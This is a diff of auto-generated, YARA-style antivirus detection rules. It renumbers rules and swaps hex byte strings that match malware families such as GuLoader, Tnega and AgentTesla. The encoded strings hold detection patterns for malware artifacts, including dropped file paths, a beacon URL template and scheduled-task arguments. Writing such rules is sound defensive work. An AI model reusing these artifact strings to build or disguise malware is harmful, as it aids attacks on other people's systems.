1)*18467+(#a_6f_1 & 1)*28784+(#a_64_2 & 1)*28524+(#a_00_4 & 1)*121+(#a_74_5 & 1)*25966+(#a_00_6 & 1)*101+(#a_00_7 & 1)*50+(#a_32_8 & 1)*14918+(#a_34_9 & 1)*13877+(#a_2d_10 & 1)*13622) >=11 } -rule _InfrastructureShared_17248{ +rule _InfrastructureShared_18375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -205386,7 +219024,7 @@ rule _InfrastructureShared_17248{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_17249{ +rule _InfrastructureShared_18376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -205401,7 +219039,7 @@ rule _InfrastructureShared_17249{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=1 } -rule _InfrastructureShared_17250{ +rule _InfrastructureShared_18377{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -205419,7 +219057,7 @@ rule _InfrastructureShared_17250{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*15697+(#a_45_2 & 1)*384+(#a_4e_3 & 1)*20823+(#a_56_4 & 1)*22892+(#a_76_5 & 1)*17409+(#a_72_6 & 1)*25711+(#a_00_7 & 1)*29811+(#a_69_8 & 1)*385) >=1 } -rule _InfrastructureShared_17251{ +rule _InfrastructureShared_18378{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0e 00 21 " @@ -205440,7 +219078,7 @@ rule _InfrastructureShared_17251{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26994+(#a_01_2 & 1)*4608+(#a_65_3 & 1)*24943+(#a_90_4 & 1)*12427+(#a_4e_5 & 1)*22536+(#a_31_7 & 1)*14337+(#a_72_8 & 1)*14918+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_27_11 & 1)*0+(#a_32_12 & 1)*-256) >=1 } -rule _InfrastructureShared_17252{ +rule _InfrastructureShared_18379{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -205451,7 +219089,7 @@ rule _InfrastructureShared_17252{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*391) >=2 } -rule _InfrastructureShared_17253{ +rule _InfrastructureShared_18380{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -205463,7 +219101,7 @@ rule _InfrastructureShared_17253{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*2322+(#a_fe_2 & 1)*1809) >=3 } -rule _InfrastructureShared_17254{ +rule _InfrastructureShared_18381{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -205474,7 +219112,7 @@ rule _InfrastructureShared_17254{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=3 } -rule _InfrastructureShared_17255{ +rule _InfrastructureShared_18382{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -205488,7 +219126,7 @@ rule _InfrastructureShared_17255{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637+(#a_41_3 & 1)*11568+(#a_53_4 & 1)*12288) >=3 } -rule _InfrastructureShared_17256{ +rule _InfrastructureShared_18383{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -205498,7 +219136,7 @@ rule _InfrastructureShared_17256{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17257{ +rule _InfrastructureShared_18384{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -205510,7 +219148,7 @@ rule _InfrastructureShared_17257{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*2560+(#a_13_3 & 1)*3338) >=4 } -rule _InfrastructureShared_17258{ +rule _InfrastructureShared_18385{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -205521,7 +219159,7 @@ rule _InfrastructureShared_17258{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*400) >=4 } -rule _InfrastructureShared_17259{ +rule _InfrastructureShared_18386{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -205536,7 +219174,7 @@ rule _InfrastructureShared_17259{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*23610+(#a_74_2 & 1)*24420+(#a_44_3 & 1)*24938+(#a_30_4 & 1)*31613+(#a_7b_5 & 1)*13106) >=4 } -rule _InfrastructureShared_17260{ +rule _InfrastructureShared_18387{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -205551,7 +219189,7 @@ rule _InfrastructureShared_17260{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25697+(#a_7b_2 & 1)*12594+(#a_54_3 & 1)*18467+(#a_72_4 & 1)*25708+(#a_72_5 & 1)*385) >=6 } -rule _InfrastructureShared_17261{ +rule _InfrastructureShared_18388{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -205566,7 +219204,7 @@ rule _InfrastructureShared_17261{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25708+(#a_72_2 & 1)*385+(#a_66_3 & 1)*14438+(#a_24_4 & 1)*12591+(#a_65_5 & 1)*16687) >=6 } -rule _InfrastructureShared_17262{ +rule _InfrastructureShared_18389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -205577,7 +219215,7 @@ rule _InfrastructureShared_17262{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29810) >=6 } -rule _InfrastructureShared_17263{ +rule _InfrastructureShared_18390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -205589,32 +219227,52 @@ rule _InfrastructureShared_17263{ $a_77_4 = {2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 12 81 01 6e 65 77 77 77 77 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 6e 65 77 77 77 77 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 24 81 01 39 65 66 30 64 65 37 31 2d 32 63 61 36 2d 34 66 36 65 2d 38 35 61 66 2d 37 65 37 33 66 31 37 37 37 } //30565 $a_01_5 = {00 12 81 01 45 70 4d 51 51 51 32 4b 4c 47 55 4b 36 4d 45 6b 6b 4a 01 00 12 81 01 6b 75 42 72 59 4f 49 69 73 46 4f 43 43 69 54 49 51 52 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 18 81 01 64 67 73 67 68 64 73 67 68 64 73 67 68 64 73 73 64 73 67 68 67 73 68 64 00 00 78 27 } //26209 $a_00_6 = {0a 00 0a 00 21 23 48 53 54 52 } //1 - $a_6e_7 = {32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 51 31 32 33 21 4d 54 42 00 01 00 1c 81 01 5c 50 72 69 63 6b 6c 65 73 31 37 31 5c 68 75 6d 6f 72 69 73 74 65 72 73 2e 43 61 6e 01 00 14 81 01 5c 73 6f 63 69 61 6c 6d 65 64 69 63 69 6e 73 6b 2e 64 6c 6c 01 00 17 81 01 39 39 5c 6f 76 65 72 70 6f 74 65 6e 74 6e 65 73 73 2e 72 } //22330 - $a_3e_8 = {00 23 81 01 25 70 72 6f 63 65 73 72 65 6e 74 65 72 25 5c 74 72 61 6e 73 76 6f 6c 61 74 69 6f 6e 2e 42 72 6f 32 30 36 01 00 13 81 01 53 } //28265 - $a_77_9 = {72 65 5c 63 7a 61 72 65 76 69 74 63 68 01 00 0f 81 01 69 6e 65 66 66 65 6b 74 69 76 69 74 65 74 73 01 00 0e 81 01 35 5c 42 65 77 72 65 61 74 68 2e 6f 70 72 01 00 10 81 01 53 6f 66 74 77 61 72 65 5c 6c 6e 65 6e 64 65 73 01 00 11 81 01 63 6f 6e 67 72 65 67 61 74 69 6f 6e 61 6c 69 73 74 01 00 10 81 01 62 65 72 65 64 73 6b 61 62 73 76 65 6c 73 65 72 } //26223 + $a_6f_7 = {61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4b 21 4d 54 42 00 01 00 1a 81 01 5c 61 66 66 61 6c 64 73 70 72 6f 62 6c 65 6d 65 74 5c 74 6f 6e 67 2e 62 69 6e 01 00 13 81 01 5c 69 6e 74 65 72 76 65 6e 74 69 6f 6e 65 6e 2e 65 78 65 01 00 0e 81 01 5c 46 69 6d 62 72 69 61 74 65 2e 69 6e 69 01 00 14 81 01 5c 6b 6e 6f 75 74 73 5c 44 } //21562 + $a_6b_8 = {6e 69 73 6d 65 73 01 00 11 81 01 5c 4b 6f 6c 6c 65 6b 74 69 76 73 34 34 2e 74 78 74 01 00 14 81 01 5c 48 79 64 72 6f 73 6f 6c 73 5c 61 66 70 72 6f 65 76 65 72 01 00 0e 81 01 5c 72 6f 67 75 65 6c 69 6e 67 2e 69 6e 69 01 00 14 81 01 53 6b 72 69 76 65 75 6e 64 65 72 6c 61 67 65 74 2e 69 6e 69 01 00 16 81 } //28018 + $a_6d_9 = {6e 64 73 62 65 74 6a 65 6e 74 65 6e 65 73 2e 69 6e 69 01 00 1c 81 01 5c 73 6b 6f 72 70 65 72 6e 65 5c 69 6e 63 61 72 63 65 72 61 74 69 6f 6e 2e 69 6e 69 00 00 78 27 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 51 31 32 33 21 4d 54 42 00 01 00 1c 81 01 5c 50 72 69 63 6b 6c 65 } //25857 condition: - ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*31053+(#a_65_2 & 1)*29301+(#a_63_3 & 1)*30063+(#a_77_4 & 1)*30565+(#a_01_5 & 1)*26209+(#a_00_6 & 1)*1+(#a_6e_7 & 1)*22330+(#a_3e_8 & 1)*28265+(#a_77_9 & 1)*26223) >=10 + ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*31053+(#a_65_2 & 1)*29301+(#a_63_3 & 1)*30063+(#a_77_4 & 1)*30565+(#a_01_5 & 1)*26209+(#a_00_6 & 1)*1+(#a_6f_7 & 1)*21562+(#a_6b_8 & 1)*28018+(#a_6d_9 & 1)*25857) >=10 } -rule _InfrastructureShared_17264{ +rule _InfrastructureShared_18391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 50 41 41 46 21 4d 54 42 00 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 07 81 01 47 65 74 54 79 70 65 01 00 16 81 01 6e 65 77 77 77 77 2e 46 6f 72 6d 31 2e 72 65 73 6f 75 72 63 65 73 01 00 12 81 } //18467 $a_77_1 = {77 77 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 6e 65 77 77 77 77 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 24 81 01 39 65 66 30 64 65 37 31 2d 32 63 61 36 2d 34 66 36 65 2d 38 35 61 66 2d 37 65 37 33 66 31 37 37 37 61 66 63 01 00 12 81 } //28161 - $a_4d_2 = {51 51 32 4b 4c 47 55 4b 36 4d 45 6b 6b 4a 01 00 12 81 01 6b 75 42 72 59 4f 49 69 73 46 4f 43 43 69 54 49 51 52 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 18 81 01 64 67 73 67 68 64 73 67 68 64 73 67 68 64 73 73 64 73 67 68 67 73 68 64 00 00 78 27 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //17665 - $a_6f_3 = {64 65 72 2e 4b 43 43 51 31 32 33 21 4d 54 42 00 01 00 1c 81 01 5c 50 72 69 63 6b 6c 65 73 31 37 31 5c 68 75 6d 6f 72 69 73 74 65 72 73 2e 43 61 6e 01 00 14 81 01 5c 73 6f 63 69 61 6c 6d 65 64 69 63 69 6e 73 6b 2e 64 6c 6c 01 00 17 81 01 39 39 5c 6f 76 65 72 70 6f 74 65 6e 74 6e 65 73 73 2e 72 69 6e 2d 3e 01 00 23 81 01 25 } //30023 - $a_63_4 = {73 72 65 6e 74 65 72 25 5c 74 72 61 6e 73 76 6f 6c 61 74 69 6f 6e 2e 42 72 6f 32 30 36 01 00 13 81 01 53 6f 66 74 77 61 72 65 5c 63 7a 61 72 65 76 69 74 63 68 01 00 0f 81 01 69 6e 65 66 66 65 6b 74 69 76 69 74 65 74 73 01 00 0e 81 01 35 5c 42 65 77 72 65 61 74 68 2e 6f 70 72 01 00 10 81 01 53 6f 66 74 77 61 72 65 5c 6c 6e 65 6e 64 } //29296 - $a_00_5 = {11 } //29541 - $a_6f_6 = {67 72 65 67 61 74 69 6f 6e 61 6c 69 73 74 01 00 10 81 01 62 65 72 65 64 73 6b 61 62 73 76 65 6c 73 65 72 00 00 78 27 01 00 0b 00 0b 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 53 79 73 74 65 6d 48 65 61 6c 65 72 3a 49 6e 73 74 00 01 00 3c 01 2f 00 69 00 6e 00 73 00 74 00 3f 00 73 00 69 00 64 00 3d } //385 - $a_00_8 = {25 00 26 00 68 00 69 00 64 00 3d 00 25 00 48 00 49 00 44 00 25 00 26 00 6f 00 73 00 3d 00 25 00 01 00 30 01 20 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 22 00 20 00 2f 00 46 00 20 00 2f 00 52 00 4c 00 } //73 - $a_00_9 = {49 00 47 00 48 00 45 00 53 00 54 00 01 00 36 01 2e 00 65 00 78 00 65 00 5c 00 22 00 20 00 2d 00 73 00 63 00 61 00 6e 00 22 00 20 00 2f 00 73 00 63 00 20 00 4f 00 4e 00 43 00 45 00 20 00 2f 00 73 00 74 00 20 00 01 00 } //32 + $a_4d_2 = {51 51 32 4b 4c 47 55 4b 36 4d 45 6b 6b 4a 01 00 12 81 01 6b 75 42 72 59 4f 49 69 73 46 4f 43 43 69 54 49 51 52 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 18 81 01 64 67 73 67 68 64 73 67 68 64 73 67 68 64 73 73 64 73 67 68 67 73 68 64 00 00 78 27 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //17665 + $a_6e_3 = {32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4b 21 4d 54 42 00 01 00 1a 81 01 5c 61 66 66 61 6c 64 73 70 72 6f 62 6c 65 6d 65 74 5c 74 6f 6e 67 2e 62 69 6e 01 00 13 81 01 5c 69 6e 74 65 72 76 65 6e 74 69 6f 6e 65 6e 2e 65 78 65 01 00 0e 81 01 5c 46 69 6d 62 72 69 61 74 65 2e 69 6e 69 01 00 14 81 01 5c 6b 6e 6f 75 74 73 } //22330 + $a_6d_4 = {6b 61 6e 69 73 6d 65 73 01 00 11 81 01 5c 4b 6f 6c 6c 65 6b 74 69 76 73 34 34 2e 74 78 74 01 00 14 81 01 5c 48 79 64 72 6f 73 6f 6c 73 5c 61 66 70 72 6f 65 76 65 72 01 00 0e 81 01 5c 72 6f 67 75 65 6c 69 6e 67 2e 69 6e 69 01 00 14 81 01 53 6b 72 69 76 65 75 6e 64 65 72 6c 61 67 65 74 2e 69 6e 69 01 00 16 81 01 65 6e 6d 61 6e 64 73 62 65 74 } //17500 + $a_74_5 = {6e 65 73 2e 69 6e 69 01 00 1c 81 01 5c 73 6b 6f 72 70 65 72 6e 65 5c 69 6e 63 61 72 63 65 72 61 74 69 6f 6e 2e 69 6e 69 00 00 78 27 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 51 31 32 33 21 4d 54 42 00 01 00 1c 81 01 5c 50 72 69 63 6b 6c 65 73 31 37 31 5c 68 75 6d 6f 72 69 } //25962 + $a_72_6 = {2e 43 61 6e 01 00 14 81 01 5c 73 6f 63 69 61 6c 6d 65 64 69 63 69 6e 73 6b 2e 64 6c 6c 01 00 17 81 01 39 39 5c 6f 76 65 72 70 6f 74 65 6e 74 6e 65 73 73 2e 72 69 6e 2d 3e 01 00 23 81 01 25 70 72 6f 63 65 73 72 65 6e 74 65 72 25 5c 74 72 61 6e 73 76 6f 6c 61 74 69 6f 6e 2e 42 72 6f 32 30 36 01 00 13 81 } //29811 + $a_66_7 = {77 61 72 65 5c 63 7a 61 72 65 76 69 74 63 68 01 00 0f 81 01 69 6e 65 66 66 65 6b 74 69 76 69 74 65 74 73 01 00 0e 81 01 35 5c 42 65 77 72 65 61 74 68 2e 6f 70 72 01 00 10 81 01 53 6f 66 74 77 61 72 65 5c 6c 6e 65 6e 64 65 73 01 00 11 81 01 63 6f 6e 67 72 65 67 61 74 69 6f 6e 61 6c 69 73 74 01 00 10 81 01 62 65 72 65 64 73 6b 61 62 } //21249 + $a_6c_8 = {65 72 00 00 78 27 01 00 0b 00 0b 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 53 79 73 74 65 6d 48 65 61 6c 65 72 3a 49 6e 73 74 00 01 00 3c 01 2f 00 69 00 6e 00 73 00 74 00 3f 00 73 00 69 00 64 00 3d 00 25 00 53 00 49 00 44 00 25 00 26 00 68 00 69 00 64 00 3d 00 25 00 48 00 49 00 44 00 25 00 26 00 6f 00 } //30323 + $a_00_9 = {25 00 01 00 30 01 20 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 22 00 20 00 2f 00 46 00 20 00 2f 00 52 00 4c 00 20 00 48 00 49 00 47 00 48 00 45 00 53 00 54 00 01 00 36 01 2e 00 65 } //115 condition: - ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*28161+(#a_4d_2 & 1)*17665+(#a_6f_3 & 1)*30023+(#a_63_4 & 1)*29296+(#a_00_5 & 1)*29541+(#a_6f_6 & 1)*385+(#a_00_8 & 1)*73+(#a_00_9 & 1)*32) >=10 + ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*28161+(#a_4d_2 & 1)*17665+(#a_6e_3 & 1)*22330+(#a_6d_4 & 1)*17500+(#a_74_5 & 1)*25962+(#a_72_6 & 1)*29811+(#a_66_7 & 1)*21249+(#a_6c_8 & 1)*30323+(#a_00_9 & 1)*115) >=10 } -rule _InfrastructureShared_17265{ +rule _InfrastructureShared_18392{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 4b 21 4d 54 42 00 01 00 1a 81 01 5c 61 66 66 61 6c 64 73 70 72 6f 62 6c 65 6d 65 74 5c 74 6f 6e 67 2e 62 69 6e 01 00 13 81 01 5c 69 6e 74 65 72 76 65 6e 74 69 6f 6e 65 6e 2e } //18467 + $a_01_1 = {00 0e 81 01 5c 46 69 6d 62 72 69 61 74 65 2e 69 6e 69 01 00 14 81 01 5c 6b 6e 6f 75 74 73 5c 44 72 6d 65 6b 61 6e 69 73 6d 65 73 01 00 11 81 01 5c 4b 6f 6c 6c 65 6b 74 69 76 73 34 34 2e 74 78 74 01 00 14 81 01 5c 48 79 64 72 6f 73 6f 6c 73 5c 61 66 70 72 6f 65 76 65 72 01 00 0e 81 01 5c 72 6f 67 75 65 } //30821 + $a_67_2 = {69 6e 69 01 00 14 81 01 53 6b 72 69 76 65 75 6e 64 65 72 6c 61 67 65 74 2e 69 6e 69 01 00 16 81 01 65 6e 6d 61 6e 64 73 62 65 74 6a 65 6e 74 65 6e 65 73 2e 69 6e 69 01 00 1c 81 01 5c 73 6b 6f 72 70 65 72 6e 65 5c 69 6e 63 61 72 63 65 72 61 74 69 6f 6e 2e 69 6e 69 00 00 78 27 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e } //26988 + $a_47_3 = {6c 6f 61 64 65 72 2e 4b 43 43 51 31 32 33 21 4d 54 42 00 01 00 1c 81 01 5c 50 72 69 63 6b 6c 65 73 31 37 31 5c 68 75 6d 6f 72 69 73 74 65 72 } //12851 + $a_61_4 = {01 00 14 81 01 5c 73 6f 63 69 61 6c 6d 65 64 69 63 69 6e 73 6b 2e 64 6c 6c 01 00 17 81 01 39 39 5c 6f 76 65 72 70 6f 74 65 6e 74 6e 65 73 73 2e 72 69 6e 2d 3e 01 00 23 81 01 25 70 72 6f 63 65 73 72 65 } //11891 + $a_72_5 = {5c 74 72 61 6e 73 76 6f 6c 61 74 69 6f 6e 2e 42 72 6f 32 30 36 01 00 13 81 01 53 6f 66 74 77 61 72 65 5c 63 7a 61 72 65 76 69 74 63 68 01 00 0f 81 01 69 6e 65 66 66 65 6b 74 69 76 69 74 65 74 73 01 00 0e 81 01 35 5c 42 65 77 72 65 61 74 68 2e 6f 70 72 01 00 10 81 01 53 6f 66 74 77 61 72 65 5c 6c 6e 65 } //29806 + $a_73_6 = {00 11 81 01 63 6f 6e 67 72 65 67 61 74 69 6f 6e 61 6c 69 73 74 01 00 10 81 01 62 65 72 65 64 73 6b 61 62 73 76 65 6c 73 65 72 00 00 78 27 01 00 0b 00 0b 00 05 00 21 23 41 4c 46 3a 48 53 54 52 3a 53 79 73 74 65 6d 48 65 61 6c 65 72 3a 49 6e 73 74 00 01 00 3c 01 2f 00 69 00 6e 00 73 00 74 00 3f 00 73 00 } //25710 + $a_00_7 = {3d 00 25 00 53 00 49 00 44 00 25 00 26 00 68 00 69 00 64 00 3d 00 25 00 48 00 49 00 44 00 25 00 26 00 6f 00 73 00 3d 00 25 00 01 00 30 01 20 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 22 00 20 00 2f 00 46 00 20 00 2f 00 52 00 4c 00 20 00 48 00 49 00 47 00 48 00 45 00 53 00 54 00 01 00 36 01 2e 00 } //105 + $a_00_8 = {65 00 5c 00 22 00 20 00 2d 00 73 00 63 00 61 00 6e 00 22 00 20 00 2f 00 73 00 63 00 20 00 4f 00 4e 00 43 00 45 00 20 00 2f 00 73 00 74 00 20 00 01 00 34 01 20 00 52 00 75 00 6e 00 20 00 44 00 65 00 6c 00 61 00 79 00 22 00 20 00 2f 00 46 00 20 00 2f 00 52 00 4c 00 20 00 48 00 49 00 47 00 48 00 45 00 53 00 54 00 0a 00 18 01 5c 00 77 00 69 00 6e 00 69 00 6e 00 } //101 + $a_00_9 = {2e 00 69 00 6e 00 69 00 00 00 78 27 01 00 0b 00 0b 00 0b 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 5a 21 4d 54 42 00 01 00 08 80 01 4c 41 4c 41 4c 41 4c 41 01 00 0f 80 01 41 42 41 43 4b 4f 51 57 44 4b 4f 57 51 4b 4f 01 00 10 80 01 51 57 4b 44 4f 51 57 44 4b 4f 51 57 4b 44 4f 51 01 00 0e 80 } //105 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*30821+(#a_67_2 & 1)*26988+(#a_47_3 & 1)*12851+(#a_61_4 & 1)*11891+(#a_72_5 & 1)*29806+(#a_73_6 & 1)*25710+(#a_00_7 & 1)*105+(#a_00_8 & 1)*101+(#a_00_9 & 1)*105) >=10 + +} +rule _InfrastructureShared_18393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -205631,7 +219289,7 @@ rule _InfrastructureShared_17265{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*27748+(#a_01_2 & 1)*29797+(#a_49_3 & 1)*29285+(#a_00_5 & 1)*61+(#a_00_7 & 1)*71+(#a_00_8 & 1)*117+(#a_2e_9 & 1)*27763) >=10 } -rule _InfrastructureShared_17266{ +rule _InfrastructureShared_18394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -205643,7 +219301,7 @@ rule _InfrastructureShared_17266{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115+(#a_00_4 & 1)*92) >=11 } -rule _InfrastructureShared_17267{ +rule _InfrastructureShared_18395{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -205663,7 +219321,7 @@ rule _InfrastructureShared_17267{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*20292+(#a_78_2 & 1)*30840+(#a_78_3 & 1)*20600+(#a_31_4 & 1)*26157+(#a_74_5 & 1)*31091+(#a_65_6 & 1)*11891+(#a_01_7 & 1)*13106+(#a_00_8 & 1)*28769+(#a_65_9 & 1)*384+(#a_2e_10 & 1)*25955) >=11 } -rule _InfrastructureShared_17268{ +rule _InfrastructureShared_18396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -205681,7 +219339,7 @@ rule _InfrastructureShared_17268{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29797+(#a_01_2 & 1)*1792+(#a_72_3 & 1)*14930+(#a_36_4 & 1)*13109+(#a_74_5 & 1)*27969+(#a_37_6 & 1)*14148+(#a_2f_7 & 1)*18771+(#a_74_9 & 1)*26369) >=11 } -rule _InfrastructureShared_17269{ +rule _InfrastructureShared_18397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -205700,7 +219358,7 @@ rule _InfrastructureShared_17269{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*13365+(#a_00_2 & 1)*29797+(#a_6d_3 & 1)*384+(#a_69_4 & 1)*29285+(#a_62_5 & 1)*30030+(#a_72_6 & 1)*29541+(#a_00_7 & 1)*29554+(#a_3a_8 & 1)*28755+(#a_00_10 & 1)*97) >=11 } -rule _InfrastructureShared_17270{ +rule _InfrastructureShared_18398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 09 00 21 " @@ -205715,7 +219373,7 @@ rule _InfrastructureShared_17270{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*26369+(#a_73_4 & 1)*25974+(#a_53_5 & 1)*25972+(#a_00_6 & 1)*83+(#a_00_8 & 1)*119) >=13 } -rule _InfrastructureShared_17271{ +rule _InfrastructureShared_18399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff96 00 ffffff96 00 03 00 21 " @@ -205726,7 +219384,7 @@ rule _InfrastructureShared_17271{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111) >=150 } -rule _InfrastructureShared_17272{ +rule _InfrastructureShared_18400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -205742,7 +219400,7 @@ rule _InfrastructureShared_17272{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-16000+(#a_03_2 & 1)*1025+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=1 } -rule _InfrastructureShared_17273{ +rule _InfrastructureShared_18401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0d 00 21 " @@ -205761,7 +219419,7 @@ rule _InfrastructureShared_17273{ ((#a_77_0 & 1)*16675+(#a_4c_2 & 1)*4212+(#a_d2_3 & 1)*-11774+(#a_3c_4 & 1)*26115+(#a_67_5 & 1)*12108+(#a_58_6 & 1)*4357+(#a_09_8 & 1)*2323+(#a_17_9 & 1)*4352+(#a_2d_10 & 1)*4363+(#a_11_11 & 1)*4868) >=1 } -rule _InfrastructureShared_17274{ +rule _InfrastructureShared_18402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -205772,7 +219430,7 @@ rule _InfrastructureShared_17274{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*22535) >=3 } -rule _InfrastructureShared_17275{ +rule _InfrastructureShared_18403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -205786,7 +219444,7 @@ rule _InfrastructureShared_17275{ ((#a_54_0 & 1)*18467+(#a_18_2 & 1)*2677+(#a_2e_3 & 1)*25972+(#a_6b_4 & 1)*29811+(#a_64_5 & 1)*25391) >=3 } -rule _InfrastructureShared_17276{ +rule _InfrastructureShared_18404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -205802,7 +219460,7 @@ rule _InfrastructureShared_17276{ ((#a_41_0 & 1)*20515+(#a_78_1 & 